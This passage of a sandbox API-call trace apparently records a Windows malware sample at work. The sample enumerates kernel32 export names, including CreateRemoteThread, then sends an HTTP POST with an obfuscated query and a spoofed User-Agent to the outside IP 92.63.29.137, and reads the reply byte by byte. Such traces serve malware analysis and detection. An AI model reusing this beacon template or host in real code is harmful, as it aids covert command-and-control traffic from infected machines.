lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0109.027] lstrlenA (lpString="CREATEJOBSET") returned 12 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0109.027] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0109.027] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0109.027] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0109.027] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0109.027] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0109.027] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0109.027] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0109.028] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0109.028] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0109.028] lstrlenA (lpString="CREATEPIPE") returned 10 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0109.028] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0109.028] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0109.028] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0109.028] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0109.028] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0109.028] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0109.028] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0109.028] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0109.028] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0109.028] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0109.028] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0109.028] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0109.029] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0109.029] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0109.029] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0109.029] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0109.029] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0109.029] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0109.029] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0109.029] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0109.029] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0109.029] lstrlenA (lpString="CREATETHREAD") returned 12 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0109.029] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0109.029] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0109.029] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0109.029] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0109.029] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0109.029] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0109.030] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0109.030] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0109.030] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.030] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0109.031] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.031] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0109.034] wsprintfA (in: param_1=0x3b70000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /support/crcff.shtml?a=uc1313&dw=hjt&pt=kup135&uy=uj6614j HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.29.137\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 275 [0109.035] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.035] send (s=0x544, buf=0x3b70000*, len=496, flags=0) returned 496 [0109.035] shutdown (s=0x544, how=1) returned 0 [0109.036] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0109.087] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0109.088] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0109.089] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0109.090] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0109.091] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0109.092] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0109.102] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0109.102] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0109.102] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0109.102] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0109.102] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0109.103] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0109.104] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0109.105] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0109.106] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8cb, len=1, flags=0 | out: buf=0x2e7f8cb*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8cc, len=1, flags=0 | out: buf=0x2e7f8cc*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8cd, len=1, flags=0 | out: buf=0x2e7f8cd*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8ce, len=1, flags=0 | out: buf=0x2e7f8ce*) returned 1 [0109.107] recv (in: s=0x544, buf=0x2e7f8cf, len=1, flags=0 | out: buf=0x2e7f8cf*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d0, len=1, flags=0 | out: buf=0x2e7f8d0*) returned 1 